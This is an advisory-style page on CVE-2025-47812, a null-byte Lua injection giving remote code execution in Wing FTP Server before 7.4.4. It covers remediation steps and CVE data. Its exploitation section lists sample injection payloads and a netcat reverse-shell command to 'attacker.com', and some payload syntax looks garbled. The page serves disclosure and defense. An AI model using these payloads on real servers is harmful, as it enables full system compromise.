Wing FTP Server: remote code execution via null byte injection in Wing FTP Server (CVE-2025-47812) #shorts

Summary

Today on the Cyber Spotlight Podcast, we’re diving into CVE-2025-47812, a critical remote code execution flaw in Wing FTP Server. Published on July 10, 2025 and patched in version 7.4.4, this vulnerability allows unauthenticated attackers – even anonymous FTP users – to inject arbitrary Lua code and execute system commands with root or SYSTEM privileges. Active exploitation has already been confirmed in the wild, making immediate patching essential for all affected installations.

Product details

Wing FTP Server is a popular cross-platform FTP, FTPS, SFTP and HTTP(S) file transfer solution used by businesses, government agencies, and service providers. It supports web-based user and admin interfaces written in Lua. Versions prior to 7.4.4 contain the vulnerability; once patched, the product addresses null-byte mishandling in both admin and user session components.

Vulnerability type summary

CVE-2025-47812 is classified under CWE-158: Improper Neutralization of Null Byte or NUL Character. By failing to sanitize '\0' characters in web requests, the application allows attackers to manipulate session files and inject arbitrary Lua scripting logic, resulting in remote code execution at the operating system level.

Details of the vulnerability

In versions before 7.4.4, both the user and admin web interfaces accept input containing null bytes without proper validation. An attacker crafts a request containing '\0' sequences that break out of intended data fields and append malicious Lua code to session files. When Wing FTP Server processes those session files, it executes the injected code with full FTP-service privileges—root on Linux or SYSTEM on Windows. Since anonymous FTP accounts can also trigger this behavior, no valid credentials are required. Huntress and other researchers have observed active exploitation targeting corporate and public servers.

Conclusion

CVE-2025-47812 represents a severe threat: full server compromise via a simple null-byte injection. Administrators must upgrade Wing FTP Server to version 7.4.4 or later without delay, verify no unpatched instances remain exposed to the internet, and review logs for suspicious activity around July 2025. Regular patch management and monitoring remain your best defenses against rapidly exploited RCE vulnerabilities.

Watch the full video on YouTube: CVE-2025-47812

Remediation and exploitation details

This chain involves the following actors

  • Attacker: Malicious actor exploiting the null-byte handling flaw
  • Wing FTP Server Administrator: Responsible for deploying patches and securing the server

This following systems are involved

  • Wing FTP Server (File transfer and management): Target application where session files are created and parsed
  • Operating System (Host environment for Wing FTP Server): Execution context for arbitrary commands

Attack entry point

  • Anonymous FTP Interface: Allows unauthenticated file uploads that trigger session handling
  • Web Administration Interface: Accepts user parameters that can include null byte sequences

Remediation actions

Wing FTP Server Administrator
Upgrade to Wing FTP Server version 7.4.4 or later
Wing FTP Server
Wing FTP Server Administrator
Apply the vendor’s official patch for CVE-2025-47812
Wing FTP Server
Wing FTP Server Administrator
Disable anonymous FTP or restrict upload permissions
Wing FTP Server
Wing FTP Server Administrator
Implement input validation to reject null bytes in parameters
Wing FTP Server

Exploitation actions

Null-byte injection in HTTP or FTP parameters

Attacker
Craft and send a request containing a null byte followed by Lua payload
Wing FTP Server
Examples:
  • STOR /sessions/admin%00<?lua os.execute('id > /tmp/out') ?>.session
  • POST /admin/login HTTP/1.1\r\nHost: target\r\nContent-Length: ...\r\n\r\nuser=admin%00require('os').execute('whoami')

Session-file creation with mishandled null terminator

Attacker
Trigger the server to write the injected bytes into a Lua-backed session file
Wing FTP Server
Examples:
  • The server truncates the string at the null, then appends the Lua snippet as valid code

Normal session resume or periodic cleanup task

Attacker
Cause the server to reload or parse the infected session file
Wing FTP Server
Examples:
  • Administrator or scheduled job reads the session and invokes the Lua interpreter

Lua os.execute or io.popen invocation

Attacker
Let the embedded Lua code call the operating system interface
Operating System
Examples:
  • os.execute('nc attacker.com 4444 -e /bin/sh')

Interactive reverse shell or scheduled task drop

Attacker
Obtain a root or SYSTEM shell and move laterally
Operating System
Examples:
  • Interactive root shell via netcat or Meterpreter stager

Related Content

NOTE: The following related content has not been vetted and may be unsafe.

CVE database technical details

CVE ID
CVE-2025-47812
Description
In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle '\0' bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.
Provider
mitre
CWE / problem types
CWE-158 Improper Neutralization of Null Byte or NUL Character
Affected Software Versions
wftpserver:Wing FTP Server:[{'lessThan': '7.4.4', 'status': 'affected', 'version': '0', 'versionType': 'custom'}]
Date Published
2025-07-10T00:00:00.000Z
Last Updated
2025-07-11T03:55:33.558Z